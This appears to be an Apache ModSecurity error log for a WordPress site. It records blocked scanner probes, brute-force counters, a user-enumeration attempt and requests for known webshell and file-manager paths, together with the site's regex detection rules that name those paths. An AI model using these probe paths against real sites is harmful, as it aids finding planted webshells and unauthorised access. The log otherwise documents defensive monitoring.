[Tue Apr 21 19:45:51.820290 2026] [:error] [pid 53832:tid 53841] [client 193.70.44.235:60984] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aedjb9zkuxsE_OhM9UJfvgAAAkY"]
[Tue Apr 21 19:45:54.329871 2026] [:error] [pid 53731:tid 53735] [client 193.70.44.235:60994] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aedjcl2I9THUR-bRVGxJLAAAAgA"]
[Tue Apr 21 19:45:56.864331 2026] [:error] [pid 54080:tid 54099] [client 193.70.44.235:32774] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aedjdIzEbQHHxtmWbaanGAAAAtE"]
[Tue Apr 21 19:45:59.400567 2026] [:error] [pid 53731:tid 53746] [client 193.70.44.235:32784] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aedjd12I9THUR-bRVGxJNQAAAgs"]
[Tue Apr 21 19:46:01.770164 2026] [:error] [pid 35320:tid 35345] [client 193.70.44.235:50956] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aedjeYJW6fdXWO6agMGa-wAAAA8"]
[Tue Apr 21 19:46:04.284111 2026] [:error] [pid 54080:tid 54095] [client 193.70.44.235:50958] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aedjfIzEbQHHxtmWbaanHwAAAs0"]
[Tue Apr 21 19:46:06.814861 2026] [:error] [pid 35320:tid 35331] [client 193.70.44.235:50962] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aedjfoJW6fdXWO6agMGbAwAAAAE"]
[Tue Apr 21 19:46:09.328549 2026] [:error] [pid 4777:tid 4795] [client 193.70.44.235:50970] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aedjgaxXur6bykKyLZSjdwAAAQc"]
[Tue Apr 21 19:46:52.211387 2026] [:error] [pid 4777:tid 4794] [client 193.70.44.235:47236] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aedjrKxXur6bykKyLZSjhgAAAQY"]
[Tue Apr 21 19:46:54.654456 2026] [:error] [pid 4777:tid 4801] [client 193.70.44.235:48754] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aedjrqxXur6bykKyLZSjhwAAAQ0"]
[Tue Apr 21 19:46:57.149635 2026] [:error] [pid 53731:tid 53737] [client 193.70.44.235:48764] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aedjsV2I9THUR-bRVGxJmwAAAgI"]
[Tue Apr 21 19:46:59.648877 2026] [:error] [pid 35322:tid 35357] [client 193.70.44.235:48780] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aedjs6PoAfV40BTfVKzXtQAAAIA"]
[Tue Apr 21 19:47:02.168418 2026] [:error] [pid 35320:tid 35337] [client 193.70.44.235:50510] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aedjtoJW6fdXWO6agMGbtwAAAAc"]
[Tue Apr 21 19:47:04.654146 2026] [:error] [pid 35322:tid 35375] [client 193.70.44.235:50518] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aedjuKPoAfV40BTfVKzXtwAAAJI"]
[Tue Apr 21 19:47:07.138561 2026] [:error] [pid 53832:tid 53845] [client 193.70.44.235:50524] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aedju9zkuxsE_OhM9UJgAQAAAko"]
[Tue Apr 21 19:47:09.455245 2026] [:error] [pid 4823:tid 4870] [client 193.70.44.235:50530] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aedjvfc8mke3PfHqsxH1egAAAZE"]
[Tue Apr 21 19:47:11.933373 2026] [:error] [pid 54080:tid 54085] [client 193.70.44.235:45008] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aedjv4zEbQHHxtmWbaanYwAAAsM"]
[Tue Apr 21 19:47:14.409097 2026] [:error] [pid 35320:tid 35333] [client 193.70.44.235:45016] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aedjwoJW6fdXWO6agMGbvwAAAAM"]
[Tue Apr 21 19:47:16.900493 2026] [:error] [pid 35320:tid 35345] [client 193.70.44.235:45030] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aedjxIJW6fdXWO6agMGbwQAAAA8"]
[Tue Apr 21 19:47:19.356031 2026] [:error] [pid 4777:tid 4795] [client 193.70.44.235:45042] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aedjx6xXur6bykKyLZSjpQAAAQc"]
[Tue Apr 21 19:47:21.704448 2026] [:error] [pid 35320:tid 35340] [client 193.70.44.235:58940] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aedjyYJW6fdXWO6agMGb0AAAAAo"]
[Tue Apr 21 19:47:24.193648 2026] [:error] [pid 35320:tid 35336] [client 193.70.44.235:58956] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aedjzIJW6fdXWO6agMGb1AAAAAY"]
[Tue Apr 21 19:47:26.521141 2026] [:error] [pid 54080:tid 54095] [client 193.70.44.235:58964] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aedjzozEbQHHxtmWbaanbQAAAs0"]
[Tue Apr 21 19:47:29.067613 2026] [:error] [pid 35320:tid 35336] [client 193.70.44.235:58976] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aedj0YJW6fdXWO6agMGb3gAAAAY"]
[Tue Apr 21 19:47:31.567920 2026] [:error] [pid 53978:tid 53991] [client 193.70.44.235:58988] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aedj051ivsR4hcOSQbYMOQAAAos"]
[Tue Apr 21 19:47:34.043844 2026] [:error] [pid 54080:tid 54093] [client 193.70.44.235:37638] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aedj1ozEbQHHxtmWbaancwAAAss"]
[Tue Apr 21 19:47:36.505645 2026] [:error] [pid 35320:tid 35354] [client 193.70.44.235:37648] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aedj2IJW6fdXWO6agMGb9gAAABg"]
[Tue Apr 21 19:47:38.976558 2026] [:error] [pid 53731:tid 53741] [client 193.70.44.235:37654] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aedj2l2I9THUR-bRVGxJ3QAAAgY"]
[Tue Apr 21 19:47:41.479021 2026] [:error] [pid 53731:tid 53755] [client 193.70.44.235:37658] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aedj3V2I9THUR-bRVGxJ4gAAAhM"]
[Tue Apr 21 19:47:43.942284 2026] [:error] [pid 54080:tid 54093] [client 193.70.44.235:48680] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aedj34zEbQHHxtmWbaanlwAAAss"]
[Tue Apr 21 19:47:46.258849 2026] [:error] [pid 35321:tid 35408] [client 193.70.44.235:48688] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aedj4jeHLhVUuu8cVXxlXgAAAFg"]
[Tue Apr 21 19:48:30.300723 2026] [:error] [pid 35320:tid 35331] [client 193.70.44.235:48702] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aedkDoJW6fdXWO6agMGcZgAAAAE"]
[Tue Apr 21 19:48:32.723621 2026] [:error] [pid 53978:tid 54000] [client 193.70.44.235:57750] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aedkEJ1ivsR4hcOSQbYMggAAApQ"]
[Tue Apr 21 19:48:35.041483 2026] [:error] [pid 54080:tid 54103] [client 193.70.44.235:57754] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aedkE4zEbQHHxtmWbaanyAAAAtU"]
[Tue Apr 21 19:48:37.523537 2026] [:error] [pid 4823:tid 4861] [client 193.70.44.235:57760] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aedkFfc8mke3PfHqsxH1kAAAAYg"]
[Tue Apr 21 19:48:39.849357 2026] [:error] [pid 53731:tid 53757] [client 193.70.44.235:57764] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aedkF12I9THUR-bRVGxKZgAAAhU"]
[Tue Apr 21 19:48:42.338793 2026] [:error] [pid 4823:tid 4856] [client 193.70.44.235:43958] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aedkGvc8mke3PfHqsxH1kgAAAYM"]
[Tue Apr 21 19:48:44.823626 2026] [:error] [pid 35321:tid 35395] [client 193.70.44.235:43974] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aedkHDeHLhVUuu8cVXxl2wAAAEs"]
[Tue Apr 21 19:48:47.142731 2026] [:error] [pid 53978:tid 53988] [client 193.70.44.235:43986] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aedkH51ivsR4hcOSQbYMigAAAog"]
[Tue Apr 21 19:48:49.608186 2026] [:error] [pid 35415:tid 35446] [client 193.70.44.235:44000] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aedkIUiqDinI4_22zzht3gAAANM"]
[Tue Apr 21 19:48:52.060314 2026] [:error] [pid 53978:tid 54000] [client 193.70.44.235:54356] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aedkJJ1ivsR4hcOSQbYMlwAAApQ"]
[Tue Apr 21 20:52:07.159441 2026] [:error] [pid 35320:tid 35353] [client 34.78.145.220:51509] [client 34.78.145.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.78.145.220, counter = 6"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aedy94JW6fdXWO6agMG_fQAAABc"]
[Wed Apr 22 00:02:26.079930 2026] [:error] [pid 35321:tid 35385] [client 136.114.243.250:59556] [client 136.114.243.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.114.243.250, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeefkjeHLhVUuu8cVXwl9gAAAEE"]
[Wed Apr 22 00:02:29.205856 2026] [:error] [pid 35321:tid 35394] [client 136.114.243.250:59556] [client 136.114.243.250] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeeflTeHLhVUuu8cVXwmCAAAAEo"]
[Wed Apr 22 00:02:31.510101 2026] [:error] [pid 35321:tid 35393] [client 136.114.243.250:59556] [client 136.114.243.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.114.243.250, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeeflzeHLhVUuu8cVXwmCwAAAEk"]
[Wed Apr 22 00:10:09.206069 2026] [:error] [pid 35320:tid 35343] [client 164.90.143.116:64034] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeehYYJW6fdXWO6agMFD0gAAAA0"]
[Wed Apr 22 00:28:02.687038 2026] [:error] [pid 35320:tid 35341] [client 164.90.143.116:60557] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeelkoJW6fdXWO6agMFQngAAAAs"]
[Wed Apr 22 00:45:50.950987 2026] [:error] [pid 53978:tid 53989] [client 164.90.143.116:61486] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeepvp1ivsR4hcOSQbZndQAAAok"]
[Wed Apr 22 01:03:51.220371 2026] [:error] [pid 53832:tid 53836] [client 164.90.143.116:62542] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeet99zkuxsE_OhM9UKV2QAAAkE"]
[Wed Apr 22 01:18:53.882269 2026] [:error] [pid 53731:tid 53760] [client 45.137.126.44:21411] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeexfV2I9THUR-bRVGzPAgAAAhg"]
[Wed Apr 22 01:19:00.517544 2026] [:error] [pid 35321:tid 35388] [client 45.137.126.36:33885] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeexhDeHLhVUuu8cVXxInQAAAEQ"]
[Wed Apr 22 01:19:10.607905 2026] [:error] [pid 4823:tid 4856] [client 45.137.126.19:38907] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeexjvc8mke3PfHqsxEicAAAAYM"]
[Wed Apr 22 01:19:17.349931 2026] [:error] [pid 35320:tid 35335] [client 37.216.56.230:3654] [client 37.216.56.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.216.56.230, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeexlYJW6fdXWO6agMFuvwAAAAU"]
[Wed Apr 22 01:19:17.585482 2026] [:error] [pid 53978:tid 53995] [client 45.137.126.45:57489] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aeexlZ1ivsR4hcOSQbZvoQAAAo8"]
